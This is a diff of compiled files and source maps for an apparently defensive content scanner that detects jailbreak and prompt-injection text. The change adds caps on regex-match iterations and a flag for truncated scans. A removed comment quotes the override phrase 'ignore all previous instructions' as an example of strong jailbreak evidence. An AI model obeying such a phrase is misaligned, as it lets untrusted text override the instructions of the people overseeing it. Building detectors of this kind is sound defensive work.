- {"version":3,"file":"SecurityScanner.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,KAAK,EAAmB,UAAU,EAAE,cAAc,EAAqB,MAAM,YAAY,CAAA;AAUhG,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,8BAA8B,CAAA;AAC/D,OAAO,EACL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAEnB,MAAM,8BAA8B,CAAA;AAErC,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAA;AAEvD,OAAO,EAAE,kBAAkB,EAAE,MAAM,iCAAiC,CAAA;AAGpE,OAAO,EAAE,gBAAgB,EAAE,MAAM,2BAA2B,CAAA;AAsC5D,OAAO,EACL,aAAa,EACb,OAAO,EACP,mBAAmB,EACnB,SAAS,EACV,MAAM,iCAAiC,CAAA;AAGxC,OAAO,EACL,WAAW,EACX,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,kBAAkB,EAClB,WAAW,GACZ,CAAA;AACD,OAAO,EAAE,gBAAgB,EAAE,CAAA;AAC3B,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,mBAAmB,EAAE,SAAS,EAAE,CAAA;AAEjE,qBAAa,eAAe;IAC1B,OAAO,CAAC,cAAc,CAAa;IACnC,OAAO,CAAC,eAAe,CAAU;IACjC,OAAO,CAAC,gBAAgB,CAAQ;IAChC,OAAO,CAAC,aAAa,CAAQ;gBAEjB,OAAO,GAAE,cAAmB;IAOxC,OAAO,CAAC,eAAe;IAYvB,OAAO,CAAC,QAAQ;IAmBhB,OAAO,CAAC,qBAAqB;IAkB7B,OAAO,CAAC,sBAAsB;IA6D9B,OAAO,CAAC,4BAA4B;IAkBpC,0EAA0E;IAC1E,kBAAkB,4BAAqB;IAEvC;;;;;;;;;;;;;;;OAeG;IACH,OAAO,CAAC,YAAY;IAwGpB;;;;;;;;;;;;;;;;;;OAkBG;IACH,IAAI,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,iBAAiB,UAAQ,EAAE,UAAU,UAAO,GAAG,UAAU;IA+ChG,UAAU,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO;IAOpC,gBAAgB,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI;IAItC,iBAAiB,CAAC,OAAO,EAAE,MAAM,GAAG,IAAI;IAKxC,MAAM,CAAC,aAAa,uBAAgB;IACpC,MAAM,CAAC,OAAO,iBAAU;IACxB,MAAM,CAAC,mBAAmB,6BAAsB;IAChD,MAAM,CAAC,SAAS,mBAAY;CAC7B;AAED,eAAe,eAAe,CAAA"}
1
+ {"version":3,"file":"SecurityScanner.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,KAAK,EAAmB,UAAU,EAAE,cAAc,EAAqB,MAAM,YAAY,CAAA;AAUhG,OAAO,KAAK,EAAE,WAAW,EAAuB,MAAM,8BAA8B,CAAA;AACpF,OAAO,EACL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAEnB,MAAM,8BAA8B,CAAA;AAErC,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAA;AAEvD,OAAO,EAAE,kBAAkB,EAAE,MAAM,iCAAiC,CAAA;AAGpE,OAAO,EAAE,gBAAgB,EAAE,MAAM,2BAA2B,CAAA;AAsC5D,OAAO,EACL,aAAa,EACb,OAAO,EACP,mBAAmB,EACnB,SAAS,EACV,MAAM,iCAAiC,CAAA;AAGxC,OAAO,EACL,WAAW,EACX,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,kBAAkB,EAClB,WAAW,GACZ,CAAA;AACD,OAAO,EAAE,gBAAgB,EAAE,CAAA;AAC3B,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,mBAAmB,EAAE,SAAS,EAAE,CAAA;AAEjE;;;;;;GAMG;AACH,eAAO,MAAM,4BAA4B,EAAE,SAAS,MAAM,EAEzD,CAAA;AAED,qBAAa,eAAe;IAC1B,OAAO,CAAC,cAAc,CAAa;IACnC,OAAO,CAAC,eAAe,CAAU;IACjC,OAAO,CAAC,gBAAgB,CAAQ;IAChC,OAAO,CAAC,aAAa,CAAQ;gBAEjB,OAAO,GAAE,cAAmB;IAOxC,OAAO,CAAC,eAAe;IAYvB,OAAO,CAAC,QAAQ;IAmBhB,OAAO,CAAC,qBAAqB;IAkB7B,OAAO,CAAC,sBAAsB;IA6D9B,OAAO,CAAC,4BAA4B;IAkBpC,0EAA0E;IAC1E,kBAAkB,4BAAqB;IAEvC;;;;;;;;;;;;;;;;;;;;;;;;;;;OA2BG;IACH,OAAO,CAAC,YAAY;IAsHpB;;;;;;;;;;;;;;;;;;OAkBG;IACH,IAAI,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,iBAAiB,UAAQ,EAAE,UAAU,UAAO,GAAG,UAAU;IA0DhG;;;;OAIG;IACH,UAAU,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO;IAOpC,gBAAgB,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI;IAItC,iBAAiB,CAAC,OAAO,EAAE,MAAM,GAAG,IAAI;IAKxC,MAAM,CAAC,aAAa,uBAAgB;IACpC,MAAM,CAAC,OAAO,iBAAU;IACxB,MAAM,CAAC,mBAAmB,6BAAsB;IAChD,MAAM,CAAC,SAAS,mBAAY;CAC7B;AAED,eAAe,eAAe,CAAA"}
@@ -61,6 +61,33 @@ export declare function isDocumentationContext(ctx: LineContext): boolean;
61
61
  * only content actually between backticks is considered inline code.
62
62
  */
63
63
  export declare function isWithinInlineCode(line: string, matchIndex: number): boolean;
64
+ /**
65
+ * SMI-5879 (design §3.3.4): correctness ceiling on distinct lines recorded per
66
+ * pattern in the pass-1 full-content scan — score-neutral by proof (Lemma
67
+ * 3.3-B): once one pattern alone has pushed its category's raw subtotal past
68
+ * the per-category `Math.min(100, …)` cap, no further line from that SAME
69
+ * pattern can change the post-cap value. Derived floor:
70
+ * `ceil(100 / min_raw_per_finding)` where `min_raw_per_finding` is the
71
+ * smallest (severity × category-weight × confidence) reachable from the
72
+ * multiline pass — today an `ai_defence` `mention` in either context:
73
+ * `low(5) × 1.9 × low(0.3) = 2.85`, giving `ceil(100/2.85) = 36`. Set to 64
74
+ * (1.78x headroom over the derived floor) so a future weight change that
75
+ * lowers the minimum per-finding contribution doesn't immediately breach it;
76
+ * `scanner-multiline-cap.test.ts` recomputes the floor from the live weight
77
+ * tables and asserts this constant stays `>=` it.
78
+ */
79
+ export declare const MAX_MULTILINE_LINES_PER_PATTERN = 64;
80
+ /**
81
+ * SMI-5879 (design §3.3.3/3.3.6): wall-clock LIVENESS bound on a single
82
+ * pattern's pass-1 loop — NOT score-neutral (unlike the line cap above). A
83
+ * same-line repetition (e.g. 200 matches on one line) costs one iteration per
84
+ * match even though `seenLines` never grows past 1, so this bounds worst-case
85
+ * iteration count on a pathological same-line-repetition input. Binding marks
86
+ * the scan `multilineTruncated`; a truncated scan may only ever RAISE a
87
+ * verdict, never lower one (design §3.3.6) — enforced by the write path, not
88
+ * here.
89
+ */
90
+ export declare const MAX_MULTILINE_ITERATIONS_PER_PATTERN = 10000;
64
91
  interface MultilineScanConfig {
65
92
  type: SecurityFindingType;
66
93
  messagePrefix: string;
@@ -95,6 +122,18 @@ interface MultilineScanConfig {
95
122
  * `bestByLine` SEEDS pass 2 with pass 1's result instead of skipping the
96
123
  * line outright, so pass 2 can still find something stronger.
97
124
  */
125
+ export interface MultilineScanResult {
126
+ findings: SecurityFinding[];
127
+ /**
128
+ * SMI-5879 (design §3.3.6): true when at least one pattern's pass-1 loop
129
+ * hit MAX_MULTILINE_ITERATIONS_PER_PATTERN before exhausting its matches.
130
+ * NOT provably score-neutral (unlike the line cap) — a truncated scan may
131
+ * under-count. The write path must treat a truncated scan as authoritative
132
+ * for RAISING a verdict only, never for lowering one or clearing an
133
+ * existing quarantine.
134
+ */
135
+ truncated: boolean;
136
+ }
98
137
  export declare function scanPatternsWithMultilineSupport(content: string, config: MultilineScanConfig, lineContexts?: LineContext[],
99
138
  /**
100
139
  * SMI-5881: explicit cap (UTF-16 code units) for the pass-1 full-content
@@ -103,6 +142,6 @@ export declare function scanPatternsWithMultilineSupport(content: string, config
103
142
  * truncation finding it emits matches what actually gets scanned. Omitted
104
143
  * (undefined) falls back to safeRegexTest's own default.
105
144
  */
106
- maxLength?: number): SecurityFinding[];
145
+ maxLength?: number): MultilineScanResult;
107
146
  export {};
108
147
  //# sourceMappingURL=SecurityScanner.helpers.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"SecurityScanner.helpers.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.helpers.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,mBAAmB,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA;AAapF;;GAEG;AACH,MAAM,WAAW,WAAW;IAC1B,UAAU,EAAE,MAAM,CAAA;IAClB,WAAW,EAAE,OAAO,CAAA;IACpB,OAAO,EAAE,OAAO,CAAA;IAChB,cAAc,EAAE,OAAO,CAAA;IACvB,YAAY,EAAE,OAAO,CAAA;IACrB;;;;;;OAMG;IACH,aAAa,EAAE,OAAO,CAAA;CACvB;AAMD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,sBAAsB,CAAC,OAAO,EAAE,MAAM,EAAE,UAAU,UAAO,GAAG,WAAW,EAAE,CA8ExF;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CAAC,GAAG,EAAE,WAAW,GAAG,OAAO,CAEhE;AAED;;;;GAIG;AACH,wBAAgB,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,GAAG,OAAO,CAW5E;AAMD,UAAU,mBAAmB;IAC3B,IAAI,EAAE,mBAAmB,CAAA;IACzB,aAAa,EAAE,MAAM,CAAA;IACrB,QAAQ,EAAE,MAAM,EAAE,CAAA;IAClB;;;;;OAKG;IACH,QAAQ,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,YAAY,CAAA;CAC5C;AAUD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,gCAAgC,CAC9C,OAAO,EAAE,MAAM,EACf,MAAM,EAAE,mBAAmB,EAC3B,YAAY,CAAC,EAAE,WAAW,EAAE;AAC5B;;;;;;GAMG;AACH,SAAS,CAAC,EAAE,MAAM,GACjB,eAAe,EAAE,CAmGnB"}
1
+ {"version":3,"file":"SecurityScanner.helpers.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.helpers.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,mBAAmB,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA;AAapF;;GAEG;AACH,MAAM,WAAW,WAAW;IAC1B,UAAU,EAAE,MAAM,CAAA;IAClB,WAAW,EAAE,OAAO,CAAA;IACpB,OAAO,EAAE,OAAO,CAAA;IAChB,cAAc,EAAE,OAAO,CAAA;IACvB,YAAY,EAAE,OAAO,CAAA;IACrB;;;;;;OAMG;IACH,aAAa,EAAE,OAAO,CAAA;CACvB;AAMD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,sBAAsB,CAAC,OAAO,EAAE,MAAM,EAAE,UAAU,UAAO,GAAG,WAAW,EAAE,CA8ExF;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CAAC,GAAG,EAAE,WAAW,GAAG,OAAO,CAEhE;AAED;;;;GAIG;AACH,wBAAgB,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,GAAG,OAAO,CAW5E;AAMD;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,+BAA+B,KAAK,CAAA;AAEjD;;;;;;;;;GASG;AACH,eAAO,MAAM,oCAAoC,QAAS,CAAA;AAE1D,UAAU,mBAAmB;IAC3B,IAAI,EAAE,mBAAmB,CAAA;IACzB,aAAa,EAAE,MAAM,CAAA;IACrB,QAAQ,EAAE,MAAM,EAAE,CAAA;IAClB;;;;;OAKG;IACH,QAAQ,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,YAAY,CAAA;CAC5C;AAUD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,WAAW,mBAAmB;IAClC,QAAQ,EAAE,eAAe,EAAE,CAAA;IAC3B;;;;;;;OAOG;IACH,SAAS,EAAE,OAAO,CAAA;CACnB;AAED,wBAAgB,gCAAgC,CAC9C,OAAO,EAAE,MAAM,EACf,MAAM,EAAE,mBAAmB,EAC3B,YAAY,CAAC,EAAE,WAAW,EAAE;AAC5B;;;;;;GAMG;AACH,SAAS,CAAC,EAAE,MAAM,GACjB,mBAAmB,CAsIrB"}
@@ -132,28 +132,36 @@ export function isWithinInlineCode(line, matchIndex) {
132
132
  }
133
133
  return false;
134
134
  }
135
+ // ============================================================================
136
+ // Shared Pattern Scanning
137
+ // ============================================================================
135
138
  /**
136
- * Scan content for patterns that may span multiple lines.
137
- * Multi-line patterns are tested against full content; single-line patterns per-line.
138
- *
139
- * SMI-5876: patterns within a single category (jailbreak / ai_defence) can now
140
- * carry DIFFERENT evidence tiers (a bare "jailbreak" mention vs. an explicit
141
- * "ignore all previous instructions" override), so array-declaration order is
142
- * no longer sufficient to decide which match wins on a line where multiple
143
- * patterns firethe STRONGEST evidence tier per line wins, computed via a
144
- * merge across both passes (`bestByLine`), not "first match, in array order."
145
- *
146
- * Two hazards this closes (see the SMI-5876 design doc §5 for the full
147
- * argument):
148
- * Hazard A pass 2 used to `break` on the FIRST matching pattern
149
- * regardless of tier, so a weaker mention declared earlier in the array
150
- * could shadow a stronger directive declared later on the same line.
151
- * Hazard B — a multiline pattern match used to suppress ALL single-line
152
- * patterns on that line (`flaggedLines`), so a mention-tier multiline
153
- * match could hide a directive-tier single-line match on the same line.
154
- * `bestByLine` SEEDS pass 2 with pass 1's result instead of skipping the
155
- * line outright, so pass 2 can still find something stronger.
139
+ * SMI-5879 (design §3.3.4): correctness ceiling on distinct lines recorded per
140
+ * pattern in the pass-1 full-content scan — score-neutral by proof (Lemma
141
+ * 3.3-B): once one pattern alone has pushed its category's raw subtotal past
142
+ * the per-category `Math.min(100, …)` cap, no further line from that SAME
143
+ * pattern can change the post-cap value. Derived floor:
144
+ * `ceil(100 / min_raw_per_finding)` where `min_raw_per_finding` is the
145
+ * smallest (severity × category-weight × confidence) reachable from the
146
+ * multiline passtoday an `ai_defence` `mention` in either context:
147
+ * `low(5) × 1.9 × low(0.3) = 2.85`, giving `ceil(100/2.85) = 36`. Set to 64
148
+ * (1.78x headroom over the derived floor) so a future weight change that
149
+ * lowers the minimum per-finding contribution doesn't immediately breach it;
150
+ * `scanner-multiline-cap.test.ts` recomputes the floor from the live weight
151
+ * tables and asserts this constant stays `>=` it.
156
152
  */
153
+ export const MAX_MULTILINE_LINES_PER_PATTERN = 64;
154
+ /**
155
+ * SMI-5879 (design §3.3.3/3.3.6): wall-clock LIVENESS bound on a single
156
+ * pattern's pass-1 loop — NOT score-neutral (unlike the line cap above). A
157
+ * same-line repetition (e.g. 200 matches on one line) costs one iteration per
158
+ * match even though `seenLines` never grows past 1, so this bounds worst-case
159
+ * iteration count on a pathological same-line-repetition input. Binding marks
160
+ * the scan `multilineTruncated`; a truncated scan may only ever RAISE a
161
+ * verdict, never lower one (design §3.3.6) — enforced by the write path, not
162
+ * here.
163
+ */
164
+ export const MAX_MULTILINE_ITERATIONS_PER_PATTERN = 10_000;
157
165
  export function scanPatternsWithMultilineSupport(content, config, lineContexts,
158
166
  /**
159
167
  * SMI-5881: explicit cap (UTF-16 code units) for the pass-1 full-content
@@ -166,38 +174,67 @@ maxLength) {
166
174
  const lines = content.split('\n');
167
175
  const contexts = lineContexts ?? analyzeMarkdownContext(content);
168
176
  const bestByLine = new Map();
177
+ let truncated = false;
169
178
  const rank = (t) => EVIDENCE_RANK[t];
170
- // First pass: 'content' | 'both'-scope patterns against full content. No
171
- // break — every such pattern is independently tested (same cost as before:
172
- // at most one full-content scan per pattern), and the strongest tier per
173
- // line wins.
179
+ // First pass: 'content' | 'both'-scope patterns against full content.
180
+ //
181
+ // SMI-5879 (design §3.3): each multiline pattern gets its OWN global-flag
182
+ // clone (never mutating the shared pattern object) and its own per-pattern
183
+ // `seenLines` set. A second match on a line already recorded by THIS
184
+ // pattern is a provable no-op (Lemma 3.3-A: same tier, same line, strict
185
+ // `>` merge comparison) and costs nothing once skipped. The effective input
186
+ // is truncated to `maxLength` up front (mirroring safeRegexTest's own
187
+ // truncation) so `lineNumberOf` never reads past what was actually scanned.
188
+ const scannedContent = maxLength !== undefined && content.length > maxLength ? content.slice(0, maxLength) : content;
174
189
  for (const pattern of config.patterns) {
175
190
  if (resolvePatternScope(pattern) === 'line')
176
191
  continue;
177
- const match = safeRegexTest(pattern, content, maxLength);
178
- if (!match)
179
- continue;
180
- // SMI-5876: use the match's own reported index rather than a fresh
181
- // content.indexOf(match[0]) — the latter misreports the line whenever the
182
- // matched text ALSO occurs earlier in the content (a real hazard fixed in
183
- // the same pass as the evidence-tier merge).
184
- const matchIndex = match.index ?? content.indexOf(match[0]);
185
- const lineNumber = content.slice(0, matchIndex).split('\n').length;
186
- const ctx = contexts[lineNumber - 1];
187
- const matchLine = lines[lineNumber - 1] ?? '';
188
- const lineOffset = content.lastIndexOf('\n', matchIndex - 1) + 1;
189
- const matchCol = matchIndex - lineOffset;
190
- const inInlineCode = ctx?.isInlineCode && isWithinInlineCode(matchLine, matchCol);
191
- const inDocContext = ctx ? isDocumentationContext(ctx) || inInlineCode : false;
192
- const tier = config.classify(pattern);
193
- const incumbent = bestByLine.get(lineNumber);
194
- if (!incumbent || rank(tier) > rank(incumbent.tier)) {
195
- bestByLine.set(lineNumber, {
196
- tier,
197
- matchText: match[0],
198
- location: match[0].trim().slice(0, 100),
199
- inDocContext,
200
- });
192
+ const flags = pattern.flags.includes('g') ? pattern.flags : pattern.flags + 'g';
193
+ const g = new RegExp(pattern.source, flags);
194
+ const seenLines = new Set();
195
+ let iterations = 0;
196
+ let m;
197
+ while ((m = g.exec(scannedContent)) !== null) {
198
+ if (m[0].length === 0)
199
+ g.lastIndex++; // zero-length-match advance
200
+ if (++iterations > MAX_MULTILINE_ITERATIONS_PER_PATTERN) {
201
+ truncated = true;
202
+ break;
203
+ }
204
+ // SMI-5879: many content-scope patterns lead with a captured `(?:^|\n)`
205
+ // (a line-start anchor), so `m.index` for the 2nd+ occurrence points at
206
+ // the NEWLINE ending the PREVIOUS line, not at the matched line's own
207
+ // content attributing raw `m.index` directly under-counts the target
208
+ // line by one and (worse) collides with an already-seen earlier line,
209
+ // silently dropping the real match. Skip past any leading `\n`
210
+ // character(s) to the match's actual content start before resolving
211
+ // the line/column.
212
+ const matchIndex = m.index;
213
+ let contentIndex = matchIndex;
214
+ while (scannedContent[contentIndex] === '\n')
215
+ contentIndex++;
216
+ const lineNumber = scannedContent.slice(0, contentIndex).split('\n').length;
217
+ if (seenLines.has(lineNumber))
218
+ continue; // Lemma 3.3-A: costs nothing
219
+ if (seenLines.size >= MAX_MULTILINE_LINES_PER_PATTERN)
220
+ break; // score-neutral (Lemma 3.3-B)
221
+ seenLines.add(lineNumber);
222
+ const ctx = contexts[lineNumber - 1];
223
+ const matchLine = lines[lineNumber - 1] ?? '';
224
+ const lineOffset = scannedContent.lastIndexOf('\n', contentIndex - 1) + 1;
225
+ const matchCol = contentIndex - lineOffset;
226
+ const inInlineCode = ctx?.isInlineCode && isWithinInlineCode(matchLine, matchCol);
227
+ const inDocContext = ctx ? isDocumentationContext(ctx) || inInlineCode : false;
228
+ const tier = config.classify(pattern);
229
+ const incumbent = bestByLine.get(lineNumber);
230
+ if (!incumbent || rank(tier) > rank(incumbent.tier)) {
231
+ bestByLine.set(lineNumber, {
232
+ tier,
233
+ matchText: m[0],
234
+ location: m[0].trim().slice(0, 100),
235
+ inDocContext,
236
+ });
237
+ }
201
238
  }
202
239
  }
203
240
  // Second pass: 'line' | 'both'-scope patterns, per-line. Seeds `best` from
@@ -243,11 +280,11 @@ maxLength) {
243
280
  if (!candidate)
244
281
  continue;
245
282
  const { severity, confidence } = resolveEvidenceSeverity(candidate.tier, candidate.inDocContext);
246
- const truncated = candidate.matchText.slice(0, 50);
283
+ const truncatedText = candidate.matchText.slice(0, 50);
247
284
  findings.push({
248
285
  type: config.type,
249
286
  severity,
250
- message: `${config.messagePrefix}: "${truncated}${candidate.matchText.length > 50 ? '...' : ''}"`,
287
+ message: `${config.messagePrefix}: "${truncatedText}${candidate.matchText.length > 50 ? '...' : ''}"`,
251
288
  location: candidate.location,
252
289
  lineNumber,
253
290
  category: config.type,
@@ -256,7 +293,7 @@ maxLength) {
256
293
  evidenceType: candidate.tier,
257
294
  });
258
295
  }
259
- return findings;
296
+ return { findings, truncated };
260
297
  }
261
298
  // ============================================================================
262
299
  // Risk Score Calculation
@@ -1 +1 @@
1
- {"version":3,"file":"SecurityScanner.helpers.js","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.helpers.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAGH,OAAO,EAAE,aAAa,EAAE,MAAM,kBAAkB,CAAA;AAChD,OAAO,EACL,aAAa,EACb,iBAAiB,EACjB,uBAAuB,GACxB,MAAM,+BAA+B,CAAA;AACtC,OAAO,EAAE,mBAAmB,EAAE,MAAM,qBAAqB,CAAA;AAyBzD,+EAA+E;AAC/E,4BAA4B;AAC5B,+EAA+E;AAE/E;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,UAAU,sBAAsB,CAAC,OAAe,EAAE,UAAU,GAAG,IAAI;IACvE,MAAM,KAAK,GAAG,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAA;IACjC,MAAM,QAAQ,GAAkB,EAAE,CAAA;IAClC,IAAI,iBAAiB,GAAG,KAAK,CAAA;IAC7B,6CAA6C;IAC7C,2GAA2G;IAC3G,IAAI,gBAAgB,GAAkC,SAAS,CAAA;IAC/D,IAAI,uBAAuB,GAAG,CAAC,CAAC,CAAA;IAEhC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACtC,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,CAAA;QACrB,MAAM,WAAW,GAAG,IAAI,CAAC,IAAI,EAAE,CAAA;QAE/B,6DAA6D;QAC7D,uEAAuE;QACvE,oDAAoD;QACpD,IAAI,iBAAiB,GAAG,KAAK,CAAA;QAC7B,IAAI,WAAW,KAAK,KAAK,EAAE,CAAC;YAC1B,IAAI,gBAAgB,KAAK,SAAS,EAAE,CAAC;gBACnC,+DAA+D;gBAC/D,gBAAgB,GAAG,MAAM,CAAA;gBACzB,uBAAuB,GAAG,CAAC,CAAA;gBAC3B,iBAAiB,GAAG,IAAI,CAAA,CAAC,0CAA0C;YACrE,CAAC;iBAAM,IAAI,gBAAgB,KAAK,MAAM,EAAE,CAAC;gBACvC,gBAAgB,GAAG,QAAQ,CAAA;gBAC3B,iBAAiB,GAAG,IAAI,CAAA,CAAC,wBAAwB;YACnD,CAAC;QACH,CAAC;aAAM,IAAI,gBAAgB,KAAK,SAAS,IAAI,WAAW,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACpE,qFAAqF;YACrF,gBAAgB,GAAG,QAAQ,CAAA;QAC7B,CAAC;aAAM,IAAI,gBAAgB,KAAK,MAAM,EAAE,CAAC;YACvC,iBAAiB,GAAG,IAAI,CAAA;QAC1B,CAAC;QAED,yEAAyE;QACzE,wDAAwD;QACxD,IAAI,CAAC,iBAAiB,IAAI,gBAAgB,CAAC,IAAI,CAAC,WAAW,CAAC,EAAE,CAAC;YAC7D,iBAAiB,GAAG,CAAC,iBAAiB,CAAA;QACxC,CAAC;QAED,sCAAsC;QACtC,MAAM,OAAO,GAAG,CAAC,iBAAiB,IAAI,WAAW,CAAC,UAAU,CAAC,GAAG,CAAC,CAAA;QAEjE,0EAA0E;QAC1E,wEAAwE;QACxE,wEAAwE;QACxE,8BAA8B;QAC9B,MAAM,cAAc,GAClB,UAAU;YACV,CAAC,iBAAiB;YAClB,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC;YACxB,CAAC,iBAAiB;YAClB,CAAC,WAAW,CAAC,UAAU,CAAC,GAAG,CAAC;YAC5B,CAAC,WAAW,CAAC,UAAU,CAAC,GAAG,CAAC,CAAA;QAE9B,iEAAiE;QACjE,MAAM,YAAY,GAAG,CAAC,iBAAiB,IAAI,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,iBAAiB,CAAA;QAErF,QAAQ,CAAC,IAAI,CAAC;YACZ,UAAU,EAAE,CAAC,GAAG,CAAC;YACjB,WAAW,EAAE,iBAAiB;YAC9B,OAAO;YACP,cAAc;YACd,YAAY;YACZ,aAAa,EAAE,iBAAiB;SACjC,CAAC,CAAA;IACJ,CAAC;IAED,yEAAyE;IACzE,uEAAuE;IACvE,gDAAgD;IAChD,IAAI,gBAAgB,KAAK,MAAM,IAAI,uBAAuB,IAAI,CAAC,EAAE,CAAC;QAChE,KAAK,IAAI,CAAC,GAAG,uBAAuB,EAAE,CAAC,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;YAC/D,QAAQ,CAAC,CAAC,CAAC,CAAC,aAAa,GAAG,KAAK,CAAA;QACnC,CAAC;IACH,CAAC;IAED,OAAO,QAAQ,CAAA;AACjB,CAAC;AAED;;;;;;;;;GASG;AACH,MAAM,UAAU,sBAAsB,CAAC,GAAgB;IACrD,OAAO,GAAG,CAAC,WAAW,IAAI,GAAG,CAAC,OAAO,IAAI,GAAG,CAAC,cAAc,IAAI,GAAG,CAAC,aAAa,CAAA;AAClF,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,kBAAkB,CAAC,IAAY,EAAE,UAAkB;IACjE,MAAM,aAAa,GAAG,YAAY,CAAA;IAClC,IAAI,KAAK,CAAA;IACT,OAAO,CAAC,KAAK,GAAG,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,KAAK,IAAI,EAAE,CAAC;QACnD,MAAM,SAAS,GAAG,KAAK,CAAC,KAAK,CAAA;QAC7B,MAAM,OAAO,GAAG,KAAK,CAAC,KAAK,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC,MAAM,CAAA;QAC7C,IAAI,UAAU,IAAI,SAAS,IAAI,UAAU,GAAG,OAAO,EAAE,CAAC;YACpD,OAAO,IAAI,CAAA;QACb,CAAC;IACH,CAAC;IACD,OAAO,KAAK,CAAA;AACd,CAAC;AA2BD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,UAAU,gCAAgC,CAC9C,OAAe,EACf,MAA2B,EAC3B,YAA4B;AAC5B;;;;;;GAMG;AACH,SAAkB;IAElB,MAAM,KAAK,GAAG,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAA;IACjC,MAAM,QAAQ,GAAG,YAAY,IAAI,sBAAsB,CAAC,OAAO,CAAC,CAAA;IAChE,MAAM,UAAU,GAAG,IAAI,GAAG,EAA6B,CAAA;IAEvD,MAAM,IAAI,GAAG,CAAC,CAAe,EAAU,EAAE,CAAC,aAAa,CAAC,CAAC,CAAC,CAAA;IAE1D,yEAAyE;IACzE,2EAA2E;IAC3E,yEAAyE;IACzE,aAAa;IACb,KAAK,MAAM,OAAO,IAAI,MAAM,CAAC,QAAQ,EAAE,CAAC;QACtC,IAAI,mBAAmB,CAAC,OAAO,CAAC,KAAK,MAAM;YAAE,SAAQ;QACrD,MAAM,KAAK,GAAG,aAAa,CAAC,OAAO,EAAE,OAAO,EAAE,SAAS,CAAC,CAAA;QACxD,IAAI,CAAC,KAAK;YAAE,SAAQ;QAEpB,mEAAmE;QACnE,0EAA0E;QAC1E,0EAA0E;QAC1E,6CAA6C;QAC7C,MAAM,UAAU,GAAG,KAAK,CAAC,KAAK,IAAI,OAAO,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAA;QAC3D,MAAM,UAAU,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,UAAU,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAA;QAClE,MAAM,GAAG,GAAG,QAAQ,CAAC,UAAU,GAAG,CAAC,CAAC,CAAA;QACpC,MAAM,SAAS,GAAG,KAAK,CAAC,UAAU,GAAG,CAAC,CAAC,IAAI,EAAE,CAAA;QAC7C,MAAM,UAAU,GAAG,OAAO,CAAC,WAAW,CAAC,IAAI,EAAE,UAAU,GAAG,CAAC,CAAC,GAAG,CAAC,CAAA;QAChE,MAAM,QAAQ,GAAG,UAAU,GAAG,UAAU,CAAA;QACxC,MAAM,YAAY,GAAG,GAAG,EAAE,YAAY,IAAI,kBAAkB,CAAC,SAAS,EAAE,QAAQ,CAAC,CAAA;QACjF,MAAM,YAAY,GAAG,GAAG,CAAC,CAAC,CAAC,sBAAsB,CAAC,GAAG,CAAC,IAAI,YAAY,CAAC,CAAC,CAAC,KAAK,CAAA;QAC9E,MAAM,IAAI,GAAG,MAAM,CAAC,QAAQ,CAAC,OAAO,CAAC,CAAA;QAErC,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,CAAC,UAAU,CAAC,CAAA;QAC5C,IAAI,CAA